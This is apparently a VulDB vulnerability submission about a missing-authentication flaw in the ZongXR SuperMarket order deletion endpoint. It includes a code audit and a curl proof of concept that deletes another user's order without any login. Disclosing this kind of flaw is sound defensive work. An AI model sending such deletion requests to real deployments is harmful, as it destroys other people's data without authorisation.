Submit #957825: ZongXR SuperMarket master Missing Authentication

# Summary
The order deletion endpoint in the Supermarket platform (master branch) contains a critical missing authentication vulnerability. The endpoint `GET /order/manage/delete/{orderId}` accepts an `orderId` path parameter and physically deletes the corresponding order and its associated order items (`t_order` + `t_order_item`) without any identity verification. This allows unauthenticated attackers to delete arbitrary user orders.

# Details
The vulnerable endpoint passes the path parameter `orderId` directly to the service layer without any session/ticket validation or userId ownership check. The gateway configuration (`zuul-gateway/src/main/resources/application.properties`) does not include `/order/**` in the authentication check list (`custom.uri.check` or `custom.uri.forbidden`), making all order service endpoints externally reachable without authentication. The deletion executes two DELETE operations via MyBatis Mapper: `deleteOrder` and `deleteOrderItems`. The vulnerability has been verified with real Controller/Service/Mapper code and H2 (MODE=MySQL) focused verification. **Note:** BACScan paper (CCS'25) Figure 2(b) mistakenly uses SuperMarket's order deletion as a "Secure" example claiming proper access controls exist, which contradicts the actual codebase.

**Root Cause Analysis (Code Audit):**

The vulnerability stems from three layers of missing access control:

**1. Controller – No Authentication Check**

```java
// OrderController.java L69-86
@RequestMapping(value = "/manage/delete/{orderId}", method = RequestMethod.GET)
@ResponseBody
public SysResult deleteOrder(
@PathVariable("orderId") String orderId
){
try {
this.orderService.deleteOrder(orderId);
return SysResult.ok();
}catch (MsgException e){
return SysResult.build(201, e.getMessage(), e);
}catch (Exception e){
e.printStackTrace();
return SysResult.build(500, e.getMessage(), e);
}
}
```

The controller accepts `orderId` directly from the URL path and passes it to the service layer without reading any session/ticket or validating the authenticated user's identity.

**2. Service – No Ownership Validation**

```java
// OrderServiceImpl.java L107-113
@Override
public void deleteOrder(String orderId) {
this.orderDao.deleteOrder(new Order(
orderId, null, null, null, null, null
));
this.orderDao.deleteOrderItems(new Order(
orderId, null, null, null, null, null
));
}
```

The service blindly deletes the order by `orderId` without checking whether the requesting user owns the order. No `userId` is ever read or compared.

**3. Mapper – Physical Deletion Without Conditions**

```xml
<!-- OrderMapper.xml -->
<delete id="deleteOrder" parameterType="com.supermarket.common.domain.Order">
delete from `t_order`
<include refid="selectOrderConditions"/> <!-- where order_id = #{orderId} -->
</delete>
<delete id="deleteOrderItems">
delete from `t_order_item`
<include refid="selectOrderConditions"/> <!-- where order_id = #{orderId} -->
</delete>
```

The mapper executes physical `DELETE` operations scoped only by `orderId`, with no additional ownership constraints in the WHERE clause.

**4. Gateway – Order Paths Not Protected**

```properties
# zuul-gateway/src/main/resources/application.properties
custom.uri.check={'/product/manage/save':'3','/product/manage/update':'3',
'/user/query/userType':'3','/search/manage/add':'2','/search/manage/delete':'2'}
custom.uri.forbidden=/product/manage/query,/cart/get/money
```

```java
// PermissionCheck.shouldFilter()
return this.uriCheck.containsKey(uri) || this.uriForbidden.contains(uri);
// /order/** returns false for all order paths → no authentication filter applied
```

The gateway's `custom.uri.check` and `custom.uri.forbidden` lists do not contain `/order/**`, meaning all order service requests bypass authentication entirely.

**Affected files:**
- `order/src/main/java/com/supermarket/order/controller/OrderController.java`
- `order/src/main/java/com/supermarket/order/service/impl/OrderServiceImpl.java`
- `order/src/main/resources/mappers/OrderMapper.xml`
- `zuul-gateway/src/main/resources/application.properties`

# POC
```bash
# Victim order exists
curl "http://localhost:8086/order/manage/query/victim-alice"
# -> [{"orderId":"victim-order-0001",...}]

# Attack: delete victim order without any authentication
curl "http://localhost:8086/order/manage/delete/victim-order-0001"
# -> {"status":200,"msg":"ok","data":null}

# Victim's orders are gone
curl "http://localhost:8086/order/manage/query/victim-alice"
# -> []
```

• Quelle: ⚠️ https://github.com/ZongXR/SuperMarket/issues/31
• Benutzer: 360alphalab (UID 100924)
• Einreichung: 03.09.2026 05:32 (vor 29 Tagen)
• Moderieren: 30.09.2026 21:07 (28 days later)
• Status: Akzeptiert
• VulDB Eintrag: 412348 [ZongXR SuperMarket 1.0.0.0 Order Deletion Endpoint OrderController.java OrderController.deleteOrder orderId schwache Authentisierung]
• Punkte: 20